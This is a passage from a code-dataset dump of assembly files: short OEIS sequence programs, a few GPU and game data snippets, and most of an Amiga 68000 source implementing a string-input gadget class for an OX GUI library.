2, 9, 0, 9, 8, 5, 8, 1.\n add $1,$2\nlpe\nmov $0,$1\n","avg_line_length":30.1818181818,"max_line_length":166,"alphanum_fraction":0.6234939759} {"size":382,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"(-f0.0) break(16) Jump: 10 Pop: 0 { align1 };\nbreak(16) Jump: 5 Pop: 1 { align1 };\n(+f0.0) break(16) Jump: 141 Pop: 0 { align1 };\n(+f0.0.x) break(8) Jump: 16 Pop: 0 { align16 };\nbreak(8) Jump: 6 Pop: 2 { align16 };\n","avg_line_length":63.6666666667,"max_line_length":76,"alphanum_fraction":0.3246073298} {"size":1302,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A072257: a(n) = ((6*n-17)*4^n - 1)\/3.\n; -6,-15,-27,21,597,4437,25941,136533,677205,3233109,15029589,68506965,307582293,1364546901,5995058517,26127717717,113100805461,486762960213,2084490794325,8887718991189,37749899220309,159795689903445,674367131702613,2838206015165781,11915774014084437,49914895870022997,208666782734832981,870695927958295893,3626898899909039445,15084056351939581269,62642068416972019029,259791645704742851925,1076060070966390510933,4451814236455238456661,18397552756179659478357,75951394266153460520277,313250310030353132508501,1290780171984369691743573,5314236415389307413812565,21861408571364544242603349,89863485924687435319825749,369125350255666774676952405,1515187027250335232298407253,6215490613912013463556019541,25480932475290743991673640277,104399609979733736516492809557,427501960233217988265164232021,1749621922190004121857428903253,7156944013788545162616803513685,29261601355268295351215565657429,119581706621529640207855669040469,488468031287944396043396301804885,1994436944359080925021479709791573,8140007054265537063477496849454421,33209065324379001707476299438970197,135432409726783420644170445920490837,552114232624203337833742776340403541\n\nmov $1,-2\nlpb $0\n sub $0,1\n add $1,$0\n mul $1,4\nlpe\nadd $0,2\nsub $1,$0\nsub $1,14\ndiv $1,2\nmul $1,3\nadd $1,21\nmov $0,$1\n","avg_line_length":76.5882352941,"max_line_length":1138,"alphanum_fraction":0.8894009217} {"size":80,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"\t.byte $01\t; Unknown purpose\n\n\t.byte OBJ_TOAD, $0D, $04\n\t.byte $FF\t; Terminator\n","avg_line_length":16.0,"max_line_length":28,"alphanum_fraction":0.65} {"size":24839,"ext":"asm","lang":"Assembly","max_stars_count":2.0,"content":"\n \tinclude exec\/funcdef.i\n \t\tinclude exec\/types.i\n\n\t\tinclude\texec\/exec_lib.i\n\n\t\tinclude ox.i\n\t\tinclude\tox_lib.i\n\n\t\tinclude\teasy.i\n\n\t\tinclude\tgraphics\/regions.i\n\t\tinclude graphics\/graphics_lib.i\n\n\t\tinclude\tintuition\/intuition_lib.i\n\t\tinclude\tdevices\/inputevent.i\n\n\t\tinclude\t\"utility\/tagitem.i\"\n\n;--------------------------------------------------------------------\n; OX_NEWSTRING\n\n\t\tinclude\toxclass_newstring.i\n\n; concept\n; - no clipping, print only as many chars as fit\n; - allways max lenght of 256 chars (internally + 1 for space or zero termination)\n\n; todo\n; - wenn objekt initialisiert ist und ein neuer string gesetzt wird, soll das DELFIRST bit gel\u00f6scht werden\n; (erst machen wenn xufilter das braucht um aus der liste den filenamen und den kommentar zu setzen obwohl\n; da von anfang an ein instabiler text steht)\n\n STRUCTURE\toxNewString,oxO_SIZEOF\n\tUWORD\toxNS_minwidth\t\t; incl frames\n\tUWORD\toxNS_left\n\tUWORD\toxNS_top\n\tUWORD\toxNS_width\n\tUWORD\toxNS_height\n\tUWORD\toxNS_propw\n\n\tUWORD\toxNS_stringlenght\n\tAPTR\toxNS_string\n\tUWORD\toxNS_maxlenght\n\n\tUWORD\toxNS_offset\t\t; number of chars scrolled left out\n\tUWORD\toxNS_inpos\t\t; cursor char from char offset\n\tUWORD\toxNS_visiblechars\n\n\tULONG\toxNS_value\n\tULONG\toxNS_minvalue\n\tULONG\toxNS_maxvalue\n\n\tAPTR\toxNS_drawinfo\n\n\tAPTR\toxNS_prev\t\t; for tab-linking\n\tAPTR\toxNS_next\n\tAPTR\toxNS_enterobject\t; ptr to ptr, bit 0 must be clearedchecked to get ptr from ptr or from (a4,offset)\n\tAPTR\toxNS_enterhook\n\tAPTR\toxNS_edithook\n\n\tUBYTE\toxNS_senschar\n\tUBYTE\toxNS_flags\n\n\tLABEL\toxNS_SIZEOF\n\n\t; flags\n\n\tBITDEF\toxNS,HEX,0\n\tBITDEF\toxNS,DEZ,1\n\tBITDEF\toxNS,EVEN,2\n\tBITDEF\toxNS,DELFIRST,3\t\t; click is not the first click - useful if you want the initial content\n\t\t\t\t\t; to dissappear when this gadget is clicked for the first time!\n\tBITDEF\toxNS,VISIBLE,5\n\tBITDEF\toxNS,OFF,6\n\tBITDEF\toxNS,ACTIVE,7\n\noxNS_BUFFERSIZE\t= 255\t\t\t; string buffer size\n\nTRUE\t\t= 1\nFALSE\t\t= 0\n\nOXCLASS_VERSION\t\t= 1\nOXCLASS_REVISION\t= 0\n\n\tOXCLASSHEADER\n\nOXCLASS_NAME\tdc.b\t\"newstring\",0\nOXCLASS_DESC\tdc.b\t\"$VER: String Gadget v\"\n\t\tdc.b\t$30+OXCLASS_VERSION,\".\",$30+OXCLASS_REVISION,\" \"\n\t\tdc.b\t\"can edit text, hex or dez, supports min\/\/max value bounds. \"\n\t\tdc.b\t\"Can call a hook and\/\/or activate annother gadget when is pressed.\",0\nOXCLASS_AUTHOR\tdc.b\t\"Andreas G. Szabo\",0\n\t\teven\n\nOXCLASS_TAGS\tdc.l\toxCA_objectsize,oxNS_SIZEOF\n\t\tdc.l\toxCA_dispatcher,.dispatcher\n\t\tdc.l\toxCA_description,OXCLASS_DESC\n\t\tdc.l\toxCA_author,OXCLASS_AUTHOR\n\t\tdc.l\toxCA_makeexample,.cr_example\n\t;\tdc.l\toxCA_basesize,\n\t;\tdc.l\toxCA_envarray,\n\t\tdc.l\tTAG_END\n\n.dispatcher\tcmp.w\t#OXM_SET,d1\n\t\tbeq\tNS_SET\n\n\t\tcmp.w\t#OXM_DRAW,d1\n\t\tbeq\tNS_DRAW\n\n\t\tcmp.w\t#OXM_UPDATE,d1\n\t\tbeq\tNS_UPDATE\n\n\t\tcmp.w\t#OXM_INTUIMESSAGE,d1\n\t\tbeq\tNS_INTUI\n\n\t\tcmp.w\t#OXM_GETLAYOUT,d1\n\t\tbeq\tNS_GETLAYOUT\n\n\t\tcmp.w\t#OXM_SETLAYOUT,d1\n\t\tbeq\tNS_SETLAYOUT\n\n\t\tcmp.w\t#OXM_ACTIVATE,d1\n\t\tbeq\tNS_ACTIVATE\n\n\t\tcmp.w\t#OXM_INACTIVE,d1\n\t\tbeq\tNS_INACTIVE\n\n\t\tcmp.w\t#OXM_BACK,d1\n\t\tbeq\tNS_BACK\n\n\t\tcmp.w\t#OXM_FRONT,d1\n\t\tbeq\tNS_FRONT\n\n\t\tcmp.w\t#OXM_DEINIT,d1\n\t\tbeq\tNS_DEINIT\n\n\t\tcmp.w\t#OXM_INIT,d1\n\t\tbeq\tNS_INIT\n\n\t\tcmp.w\t#OXM_SETDEF,d1\n\t\tbeq\tNS_SETDEF\n\n\t\tcmp.w\t#OXM_RELINK,d1\n\t\tbeq\tNS_RELINK\n\n\t\tcmp.w\t#OXM_LINKPRIV,d1\n\t\tbeq\tNS_LINKPRIV\n\n\t\trts\n\n.cr_example\tlea\t.example(pc),a2\n\t\tmoveq\t#0,d2\n\t\tjmp\t_LVOoxCreateObject(a6)\n\n.example\tdc.l\tOX_BUFFER,.buffer\n\n STRUCTURE\tnewstringexample,0\n\tAPTR\tnsx_gad1\n\tAPTR\tnsx_gad2\n\tAPTR\tnsx_gad3\n\tAPTR\tnsx_gad4\n\tLABEL\tnsx_SIZEOF\n\n.buffer\t\tdc.l\toxBfA_buffersize,nsx_SIZEOF\n\t\tdc.l\tOX_VERTGROUP,.vg_tags\n\t\tdc.l\tTAG_END\n\n.vg_tags\tdc.l\tOXCLASS_NAME,.gad1\n\t\tdc.l\tOXCLASS_NAME,.gad2\n\t\tdc.l\tOX_HORIZGROUP,.hg\n\t\tdc.l\toxGA_hprop,1\n\t\tdc.l\toxGA_minspace,10\n\t\tdc.l\tTAG_END\n\n.hg\t\tdc.l\tOXCLASS_NAME,.gad3\n\t\tdc.l\tOXCLASS_NAME,.gad4\n\t\tdc.l\toxGA_spaceprop,FALSE\n\t\tdc.l\tTAG_END\n\n.gad1\t\tdc.l\toxA_propw,TRUE\n\t\tdc.l\toxNSA_string,.tx1\n\t\tdc.l\toxNSA_enterobject,OX_REL|nsx_gad4\n\t\tdc.l\tOX_RELPTR,nsx_gad1\n\t\tdc.l\tTAG_END\n\n.gad2\t\tdc.l\toxA_minwidth,200\n\t\tdc.l\toxNSA_ghosted,TRUE\n\t\tdc.l\toxNSA_string,.tx2\n\t\tdc.l\tOX_RELPTR,nsx_gad2\n\t\tdc.l\toxNSA_enterobject,OX_REL|nsx_gad1\n\t\tdc.l\tTAG_END\n\n.gad3\t\tdc.l\toxA_minwidth,50\n\t\tdc.l\toxA_senschar,\"a\"\n\t\tdc.l\toxNSA_dez,TRUE\n\t\tdc.l\toxNSA_value,222\n\t\tdc.l\toxNSA_maxlenght,3\n\t\tdc.l\toxNSA_minvalue,3\n\t\tdc.l\toxNSA_maxvalue,500\n\t\tdc.l\toxNSA_delfirst,TRUE\n\t\tdc.l\tOX_RELPTR,nsx_gad3\n\t\tdc.l\toxNSA_enterobject,OX_REL|nsx_gad1\n\t\tdc.l\tTAG_END\n\n.gad4\t\tdc.l\toxA_minwidth,35\n\t\tdc.l\toxA_senschar,\"a\"\n\t\tdc.l\toxNSA_dez,TRUE\n\t\tdc.l\toxNSA_value,20\n\t\tdc.l\toxNSA_maxlenght,4\n\t\tdc.l\toxNSA_minvalue,10\n\t\tdc.l\toxNSA_maxvalue,30\n\t\tdc.l\tOX_RELPTR,nsx_gad4\n\t\tdc.l\toxNSA_enterobject,OX_REL|nsx_gad3\n\t\tdc.l\tTAG_END\n\n.tx1\t\tdc.b\t\"Donau Dampf Schiff Fahrts Gesellschafts Vorstands Vorsteher Muetzen Krempe\",0\n.tx2\t\tdc.b\t\"turned off\",0\n\t\teven\n\n\nNS_FRONT\tbset\t#oxNSB_VISIBLE,oxNS_flags(a0)\n\t\trts\n\nNS_BACK\t\tbclr\t#oxNSB_VISIBLE,oxNS_flags(a0)\n\t\trts\n\nNS_SETDEF\tmove.l\t#oxNS_BUFFERSIZE,d0\n\t\tmove.w\td0,oxNS_maxlenght(a3)\n\t\tmove.w\t#$40,oxNS_minwidth(a3)\n\t\tmove.l\t#$ffffffff,oxNS_maxvalue(a3)\n\t\taddq.l\t#1,d0\t\t\t; put a space for termination or cursor at end\n\t\tbsr\talloc_mem\n\t\tmove.l\td0,oxNS_string(a3)\n\t\tbeq.b\t.rts\n\t\tmove.l\td0,a0\n\t\tmove.b\t#$20,(a0)\t\t; initial string cursor space\n\n.rts\t\trts\n\nNS_SET\t\tmovem.l\t(a1),d0\/d1\/a1\n\n.dri\t\tcmp.w\t#oxA_drawinfo,d0\n\t\tbne.b\t.next\n\t\tmove.l\td1,oxNS_drawinfo(a0)\n\t\trts\n\n.next\t\tcmp.w\t#oxA_next,d0\n\t\tbne.b\t.prev\n\t\tmove.l\td1,oxNS_next(a0)\n\t\trts\n\n.prev\t\tcmp.w\t#oxA_prev,d0\n\t\tbne.b\t.propw\n\t\tmove.l\td1,oxNS_prev(a0)\n\t\trts\n\n.propw\t\tcmp.w\t#oxA_propw,d0\n\t\tbne.b\t.minwidth\n\t\tmove.w\td1,oxNS_propw(a0)\n\t\trts\n\n.minwidth\tcmp.w\t#oxA_minwidth,d0\n\t\tbne.b\t.senschar\n\t\tmove.w\td1,oxNS_minwidth(a0)\n\t\trts\n\n.senschar\tcmp.w\t#oxA_senschar,d0\n\t\tbne.b\t.enterhook\n\t\tmove.b\td1,oxNS_senschar(a0)\n\t\trts\n\n.enterhook\tcmp.w\t#oxNSA_enterhook,d0\n\t\tbne.b\t.edithook\n\t\tmove.l\td1,oxNS_enterhook(a0)\n\t\trts\n\n.edithook\tcmp.w\t#oxNSA_edithook,d0\n\t\tbne.b\t.enterob\n\t\tmove.l\td1,oxNS_edithook(a0)\n\t\trts\n\n.enterob\tcmp.w\t#oxNSA_enterobject,d0\n\t\tbne.b\t.maxl\n\t\tmove.l\td1,oxNS_enterobject(a0)\n\t\trts\n\n.maxl\t\tcmp.w\t#oxNSA_maxlenght,d0\n\t\tbne.b\t.str\n\t\tcmp.w\t#oxNS_BUFFERSIZE,d1\n\t\tble.b\t.set_ml\n\t\tmove.w\t#oxNS_BUFFERSIZE,d1\n.set_ml\t\tmove.w\td1,oxNS_maxlenght(a0)\n\t\tmove.l\toxNS_string(a0),a1\n\t\tmove.b\t#\" \",(a1,d1.w)\n\t\tcmp.w\toxNS_stringlenght(a0),d1\n\t\tbge\t.clrpos\n\t\tmove.w\td1,oxNS_stringlenght(a0)\n.clrpos\t\tclr.w\toxNS_offset(a0)\n\t\tclr.w\toxNS_inpos(a0)\n\t\trts\n\n.str\t\tcmp.w\t#oxNSA_string,d0\n\t\tbne.b\t.ghosted\n\n\t\tclr.w\toxNS_offset(a0)\n\t\tclr.w\toxNS_inpos(a0)\n\n\t\tmove.l\toxNS_string(a0),a1\n\t\ttst.l\td1\t\t; if no text, set lenght to 0\n\t\tbeq.b\t.set_null_len\n\t\tmove.l\td1,a2\n\t\tmove.w\toxNS_maxlenght(a0),d1\n\t\tbeq\t.set_null_len\n\t\tmoveq\t#0,d0\n.cpy_lp\t\tmove.b\t(a2)+,(a1)+\n\t\tbeq.b\t.terminate\n\t\taddq.w\t#1,d0\n\t\tdbf\td1,.cpy_lp\n\t\tsubq.w\t#1,d0\n.terminate\tmove.b\t#$20,-(a1)\t; terminate with space so that there is a possible cursor pos at end\n.set_len\tmove.w\td0,oxNS_stringlenght(a0)\n\t\trts\n.set_null_len\tclr.w\toxNS_stringlenght(a0)\n\t\tmove.b\t#$20,(a1)\n\t\trts\n\n.ghosted\tcmp.w\t#oxNSA_ghosted,d0\n\t\tbne.b\t.hex\n\t\tmoveq\t#oxNSF_OFF,d0\n\t\tbsr\t.flag\n\n\n\t\trts\n\n.hex\t\tcmp.w\t#oxNSA_hex,d0\n\t\tbne.b\t.dez\n\t\tmoveq\t#oxNSF_HEX,d0\n\t\tbra\t.flag\n\n.dez\t\tcmp.w\t#oxNSA_dez,d0\n\t\tbne.b\t.even\n\t\tmoveq\t#oxNSF_DEZ,d0\n\t\tbra\t.flag\n\n.even\t\tcmp.w\t#oxNSA_even,d0\n\t\tbne.b\t.min\n\t\tmoveq\t#oxNSF_EVEN,d0\n\t\tbra.b\t.flag\n\n.min\t\tcmp.w\t#oxNSA_minvalue,d0\n\t\tbne.b\t.max\n\t\tmove.l\td1,oxNS_minvalue(a0)\n\t\trts\n\n.max\t\tcmp.w\t#oxNSA_maxvalue,d0\n\t\tbne.b\t.val\n\t\tmove.l\td1,oxNS_maxvalue(a0)\n\t\trts\n\n.val\t\tcmp.w\t#oxNSA_value,d0\n\t\tbne.b\t.df\n\t\tmove.l\td1,oxNS_value(a3)\n\n\t\tbtst\t#oxOB_INITIALIZED,oxO_flags(a3)\n\t\tbeq.b\t.rts\n\n\t\tbra\tcalc_string\n\n.rts\t\trts\n\n.df\t\tcmp.w\t#oxNSA_delfirst,d0\n\t\tbne\t.rts\n\t\tmoveq\t#oxNSF_DELFIRST,d0\n\n.flag\t\ttst.w\td1\n\t\tbeq\t.clearflag\n\t\tor.b\td0,oxNS_flags(a0)\n\t\trts\n.clearflag\tnot.w\td0\n\t\tand.b\td0,oxNS_flags(a0)\n\t\trts\n\n\nNS_INIT\t\tbsr\tcalc_string\n\n\t\tmoveq\t#1,d0\n\t\trts\n\ncalc_value\t; calc value from string\n\n\t\tmoveq\t#0,d0\n\t\tmove.w\toxNS_stringlenght(a3),d0\n\t\tbeq\t.store_val\n\n\t\tmove.l\toxNS_string(a3),a0\n\n\t\tbtst\t#oxNSB_HEX,oxNS_flags(a3)\n\t\tbeq.b\t.dez\n\n\t\tbsr\thex_to_val\n\t\tbra\t.store_val\n\n.dez\t\tbtst\t#oxNSB_DEZ,oxNS_flags(a3)\n\t\tbeq.b\tcalc_string\n\n\t\tbsr\tdez_to_val\n\n.store_val\tmove.l\td0,oxNS_value(a3)\n\ncalc_string\t; check value and calc string from value\n\n\t\tmove.l\toxNS_value(a3),d0\n\n\t\tcmp.l\toxNS_minvalue(a3),d0\n\t\tbls.b\t.get_min\n\n\t\tcmp.l\toxNS_maxvalue(a3),d0\n\t\tbls.b\t.even\n\n\t\tmove.l\toxNS_maxvalue(a3),d0\n\t\tbra.b\t.even\n\n.get_min\tmove.l\toxNS_minvalue(a3),d0\n\n.even\t\tbtst\t#oxNSB_EVEN,oxNS_flags(a3)\n\t\tbeq.b\t.val_to_string\n\t\tbclr\t#0,d0\n\n.val_to_string\tmove.l\td0,oxNS_value(a3)\n\n\t\tmove.l\toxNS_string(a3),a0\n\t\tmove.l\ta0,a1\n\n\t\t; calc text from value, set lenght\n\n\t\tbtst\t#oxNSB_HEX,oxNS_flags(a3)\n\t\tbeq.b\t.if_dez\n\n\t\tmove.w\toxNS_maxlenght(a3),d1\n\t\tmove.w\td1,oxNS_stringlenght(a3)\n\t\tadda.w\td1,a1\n\t\tmove.b\t#$20,(a1)\n\t\tbra\tval_to_hex\n\n.if_dez\t\tbtst\t#oxNSB_DEZ,oxNS_flags(a3)\n\t\tbeq.b\t.rts\n\n\t\tbsr\tval_to_dez\n\t\tmove.b\t#$20,(a0)\n\t\tsub.l\ta1,a0\n\t\tmove.w\ta0,oxNS_stringlenght(a3)\n\n.rts\t\trts\n\n\nNS_DEINIT\tmove.l\toxNS_string(a3),d0\n\t\tbeq.b\t.rts\n\n\t\tmove.l\td0,a0\n\t\tmove.l\t#oxNS_BUFFERSIZE,d0\n\t\taddq.l\t#1,d0\t\t\t; zero byte at end\n\t\tbra\tfree_mem\n\n.rts\t\trts\n\n\nNS_DRAW\t\t; draw frame, dont fill inner (is done from NS_draw_string)\n\n\t\tmove.l\toxNS_drawinfo(a3),a1\n\t\tmove.l\toxDI_rastport(a1),a2\n\t\tmove.l\toxDI_pentable(a1),a5\n\n\t\tmovem.w\toxNS_left(a3),d0-d3\n\n\t\tadd.w\td0,d2\n\t\tadd.w\td1,d3\n\t\tsubq.w\t#1,d2\n\t\tsubq.w\t#1,d3\n\t\n\t\tmove.b\toxPT_darkpen(a5),d4\t\t\t; topleft color\n\t\tmove.b\toxPT_shinepen(a5),d5\t\t\t; bottomright color\n\n\t\tjsr\t_LVOoxBevelBorder(a6)\n\n\t\taddq.w\t#1,d0\n\t\taddq.w\t#1,d1\n\t\tsubq.w\t#1,d2\n\t\tsubq.w\t#1,d3\n\n\t\tmove.b\toxPT_blackpen(a5),d4\t; topleft color\n\t\tmove.b\td4,d5\t\t\t; bottomright color\n\n\t\tjsr\t_LVOoxBevelBorder(a6)\n\nNS_draw_string\t; fill\/draw inner content, not the frames \n\n\t\tpushm\td0-a6\n\n\t\tmove.l\toxB_gfxbase(a6),a6\n\n\t\tmove.l\toxNS_drawinfo(a3),a1\n\t\tmove.l\toxDI_rastport(a1),a2\n\t\tmove.l\toxDI_pentable(a1),a5\n\n\t\tmove.b\toxPT_inputpen(a5),d0\t\t; block color\n\t\tmove.l\ta2,a1\n\t\tjsr\t_LVOSetAPen(a6)\n\n\t\tmovem.w\toxNS_left(a3),d0-d3\n\n\t\tadd.w\td0,d2\n\t\tadd.w\td1,d3\n\n\t\taddq.w\t#2,d0\n\t\taddq.w\t#2,d1\n\t\tsubq.w\t#3,d2\n\t\tsubq.w\t#3,d3\n\n\t\tmovem.w\td0\/d1,-(a7)\n\n\t\tmove.l\ta2,a1\n\t\tjsr\t_LVORectFill(a6)\t\t; can do image fill here\n\n\t\tmovem.w\t(a7)+,d0\/d1\n\n\t\taddq.w\t#2,d0\n\t\taddq.w\t#2,d1\n\t\tadd.w\trp_TxBaseline(a2),d1\n\n\t\t; print text that fits\n\n\t\tmove.l\toxNS_string(a3),d5\n\t\tbeq\t.ghosted\n\n\t\tadd.w\toxNS_offset(a3),d5\n\n\t\tmovem.w\td0\/d1,-(a7)\n\n\t\tpushm\ta2\/a3\n\n\t\tmove.w\toxNS_width(a3),d2\n\t\tsub.w\t#2+2+2+2,d2\n\t\tmove.w\trp_TxHeight(a2),d3\n\n\t\tmove.w\toxNS_stringlenght(a3),d0\n\t\tsub.w\toxNS_offset(a3),d0\n\n\t\taddq.w\t#1,d0\t\t\t\t; at least one space\n\n\t\tmove.l\td5,a0\n\t\tmoveq\t#1,d1\n\t\tsub.l\ta3,a3\n\t\tlea\t-te_SIZEOF(a7),a7\n\t\tmove.l\ta2,a1\n\t\tmove.l\ta7,a2\n\t\tjsr\t-696(a6)\t\t\t; _LVOTextFit(a6)\n\t\tlea\tte_SIZEOF(a7),a7\n\n\t\tpopm\ta2\/a3\n\n\t\tmove.w\td0,d4\n\n\t\tmovem.w\t(a7),d0\/d1\n\n\t\tmove.l\ta2,a1\n\t\tjsr\t_LVOMove(a6)\n\n\t\tmove.b\toxPT_inputtextpen(a5),d0\n\t\tmove.b\toxPT_inputpen(a5),d1\n\t\tmoveq \t#RP_JAM1,d2\n\t\tmove.l\ta2,a1\n\t\tjsr\t_LVOSetABPenDrMd(a6)\n\n\t\tmove.l\td5,a0\n\t\tmove.l\ta2,a1\n\t\tmove.w\td4,d0\n\t\tjsr\t_LVOText(a6)\n\n\t\tmovem.w\t(a7)+,d0\/d1\n\n\t\t; print cursor if _ACTIVE bit is set\n\n\t\tbtst\t#oxNSB_ACTIVE,oxNS_flags(a3)\n\t\tbeq\t.ghosted\n\n\t\tmovem.w\td0\/d1,-(a7)\n\n\t\t; set front and back color and drawmode for cursor\n\n\t\tmove.b\toxPT_inputtextpen(a5),d0\n\t\tmove.b\toxPT_cursorpen(a5),d1\n\t\tmoveq \t#RP_JAM2,d2\n\t\tmove.l\ta2,a1\n\t\tjsr\t_LVOSetABPenDrMd(a6)\n\n\t\t; calc cursor pos and move to start point\n\n\t\tmove.l\td5,a0\n\t\tmove.w\toxNS_inpos(a3),d0\n\n\t\tmove.l\ta2,a1\n\t\tjsr\t_LVOTextLength(a6)\n\n\t\tadd.w\t(a7)+,d0\n\t\tmove.w\t(a7)+,d1\n\n\t\tmove.l\ta2,a1\n\t\tjsr\t_LVOMove(a6)\n\n\t\t; print cursor\n\n\t\tmove.l\td5,a0\n\t\tadda.w\toxNS_inpos(a3),a0\n\t\tmoveq\t#1,d0\n\t\tmove.l\ta2,a1\n\t\tjsr\t_LVOText(a6)\n\n.ghosted\tbtst\t#oxNSB_OFF,oxNS_flags(a3)\n\t\tbeq.b\t.restore\n\n\t\tlea\t.ghostpattern(pc),a0\n\t\tmove.l\ta0,rp_AreaPtrn(a2)\n\t\tmove.b\t#1,rp_AreaPtSz(a2)\n\t\tmove.b\toxPT_blackpen(a5),d0\n\t\tmoveq\t#0,d1\n\t\tmoveq \t#RP_JAM1,d2\n\t\tmove.l\ta2,a1\n\t\tjsr\t_LVOSetABPenDrMd(a6)\n\n\t\tmovem.w\toxNS_left(a3),d0-d3\n\n\t\tadd.w\td0,d2\n\t\tadd.w\td1,d3\n\t\tadd.w\t#4,d0\n\t\tadd.w\t#3,d1\n\t\tsubq.w\t#5,d2\n\t\tsubq.w\t#4,d3\n\n\t\tmove.l\ta2,a1\n\t\tjsr\t_LVORectFill(a6)\n\n\t\tclr.l\trp_AreaPtrn(a2)\n\t\tclr.b\trp_AreaPtSz(a2)\n\n.restore\tpopm\td0-a6\n\n\t\tmoveq\t#1,d0\n\t\trts\n\n.ghostpattern\tdc.w\t%1000100010001000\n\t\tdc.w\t%0010001000100010\n\nNS_draw_string_rf\n\n\t\tmovem.l\ta0-a3,-(a7)\n\n\t\tmove.l\toxNS_drawinfo(a3),a1\n\t\tmove.l\toxDI_windowobject(a1),a0\n\t\tmoveq\t#0,d4\n\t\tjsr\t_LVOoxBeginRefresh(a6)\n\n\t\tbsr\tNS_draw_string\n\n\t\tmovem.w\toxNS_left(a3),d0-d3\n\n\t\tmoveq\t#0,d4\n\t\tmove.l\toxNS_drawinfo(a3),a0\n\t\tmove.l\toxDI_windowobject(a0),a0\n\n\t\tjsr\t_LVOoxEndRefresh(a6)\n\n\t\tmovem.l\t(a7)+,a0-a3\nrf_rts\t\trts\n\nNS_UPDATE\t; redraw string only when we are open and visible, do not redraw the frame\n\n\t\tmove.l\toxNS_drawinfo(a3),a0\n\t\tbtst\t#oxDIB_WINDOWOPEN,oxDI_flags(a0)\n\t\tbeq\trf_rts\n\n\t\tbtst\t#oxNSB_VISIBLE,oxNS_flags(a3)\n\t\tbeq\trf_rts\n\n\t\t; (with double buffer)\n\n\t\tbra\tNS_draw_string_rf\n\nNS_GETLAYOUT\tmove.w\toxNS_minwidth(a0),oxLI_minwidth(a1)\n\n\t\tmove.l\toxNS_drawinfo(a0),a2\n\t\tmove.l\toxDI_rastport(a2),a2\n\t\tmove.l\trp_Font(a2),a2\n\n\t\tmove.w\ttf_YSize(a2),d0\t\t\t; line height\n\t\taddq.w\t#8,d0\t\t\t\t; frame and spacing\n\t\tmove.w\td0,oxLI_minheight(a1)\n\t\tmove.w\td0,oxNS_height(a0)\t\t; fixed height\n\t\tmove.w\toxNS_propw(a0),oxLI_propw(a1)\n\t\tclr.w\toxLI_proph(a1)\n\n\t\tmoveq\t#1,d0\n\t\trts\n\n\nNS_SETLAYOUT\tmove.w\toxLI_width(a1),d0\n\n\t\ttst.w\toxNS_propw(a0)\n\t\tbne.b\t.setw\n\n\t\tmove.w\toxNS_minwidth(a0),d0\n\n.setw\t\tmove.w\td0,oxNS_width(a0)\n\t\tmove.l\toxLI_left(a1),oxNS_left(a0)\n\n\t\tmoveq\t#1,d0\n\t\trts\n\nNS_INTUI\t; listen for chars, cursor, del and bsp, enter or tab, allways call refresh full content\n\n\t\tbtst\t#oxNSB_OFF,oxNS_flags(a3)\n\t\tbne.b\t.rts\n\n\t\tcmp.l\t#IDCMP_MOUSEBUTTONS,im_Class(a1)\n\t\tbeq.b\t.button\n\n\t\tcmp.l\t#IDCMP_VANILLAKEY,im_Class(a1)\n\t\tbeq\t.key\n\n\t\tbtst\t#oxNSB_ACTIVE,oxNS_flags(a3)\n\t\tbeq\t.rts\n\n\t\tcmp.l\t#IDCMP_RAWKEY,im_Class(a1)\n\t\tbne.b\t.rts\n\n\t\t; tab prev\n\n\t\tcmp.w\t#$42,im_Code(a1)\n\t\tbne.b\t.right\n\n\t\tmove.l\toxNS_prev(a3),d4\n\t\tbra.b\t.nextprev\n\n.key\t\tbtst\t#oxNSB_ACTIVE,oxNS_flags(a3)\n\t\tbeq\t.sens\n\n\n\t\tcmp.w\t#$d,im_Code(a1)\n\t\tbeq.b\t.enter\n\n\t\t; tab next\n\n\t\tcmp.w\t#$9,im_Code(A1)\n\t\tbne\t.entf\n\n\t\tmove.l\toxNS_next(a3),d4\n\n.nextprev\tbeq\t.rts_used\n\n\t\tbsr\tcalc_value\n\n\t\tmove.l\td4,a0\n\t\tmoveq\t#OXM_ACTIVATE,d1\n\t\tjsr\t_LVOoxDoMethod(a6)\n\n.rts_used\tmoveq\t#1,d0\n.rts\t\trts\n\n.sens\t\tmove.b\toxNS_senschar(a3),d1\n\t\tcmp.b\tim_Code+1(a1),d1\n\t\tbeq\tNS_ACTIVATE\n\t\trts\n\n.entf\t\tcmp.w\t#$7f,im_Code(a1)\n\t\tbne.b\t.if_bsp\n\n\t\t; entfernen\n\n\t\tmove.w\toxNS_stringlenght(a3),d0\n\t\tbeq\t.rts_used\n\n\t\tmove.w\toxNS_offset(a3),d1\n\t\tadd.w\toxNS_inpos(a3),d1\n\n\t\tmove.l\toxNS_string(a3),a0\n\t\tadda.w\td1,a0\n\n\t\tsub.w\td1,d0\n\t\tbeq\t.rts_used\n\n\t\tsubq.w\t#1,d0\n\n.entf_lp\tmove.b\t1(a0),(a0)+\n\t\tdbf\td0,.entf_lp\n\t\tsubq.w\t#1,oxNS_stringlenght(a3)\n\n\t\tbra\t.refresh\n\n.if_bsp\t\tcmp.w\t#8,im_Code(a1)\n\t\tbne.b\t.char\n\n\t\t; backspace\n\n\t\tmove.l\toxNS_string(a3),a0\n\t\tadda.w\toxNS_offset(a3),a0\n\t\tadda.w\toxNS_inpos(a3),a0\n\t\tsubq.l\t#1,a0\n\t\tcmp.l\toxNS_string(a3),a0\n\t\tblt\t.rts_used\n.bsp_lp\t\tmove.b\t1(a0),(a0)+\n\t\tbne.b\t.bsp_lp\n\n\t\ttst.w\toxNS_stringlenght(a3)\n\t\tbeq\t.rts_used\n\t\tsubq.w\t#1,oxNS_stringlenght(a3)\n\t\ttst.w\toxNS_inpos(a3)\n\t\tbeq.b\t.sub_off\n\t\tsubq.w\t#1,oxNS_inpos(a3)\n\n\t\tbra.b\t.refresh\n\n.sub_off\ttst.w\toxNS_offset(A3)\n\t\tbeq.b\t.rts_used\n\t\tsubq.w\t#1,oxNS_offset(A3)\n\n\t\tbra.b\t.refresh\n\n.char\t\tmove.b\tim_Code+1(a1),d0\n\n\t\tbtst\t#oxNSB_HEX,oxNS_flags(a3)\n\t\tbeq.b\t.if_dez\n\n\t\tcmp.b\t#\"0\",d0\n\t\tblt.b\t.rts_used\n\t\tcmp.b\t#\"f\",d0\n\t\tbgt.b\t.rts_used\n\t\tcmp.b\t#\"a\",d0\n\t\tbge.b\t.is_atof\n\t\tcmp.b\t#\"9\",d0\n\t\tble.b\t.write_char\n\t\tcmp.b\t#\"A\",d0\n\t\tblt.b\t.rts_used\n\t\tcmp.b\t#\"F\",d0\n\t\tbgt.b\t.rts_used\n\n.is_atof\tbclr\t#5,d0\t\t; 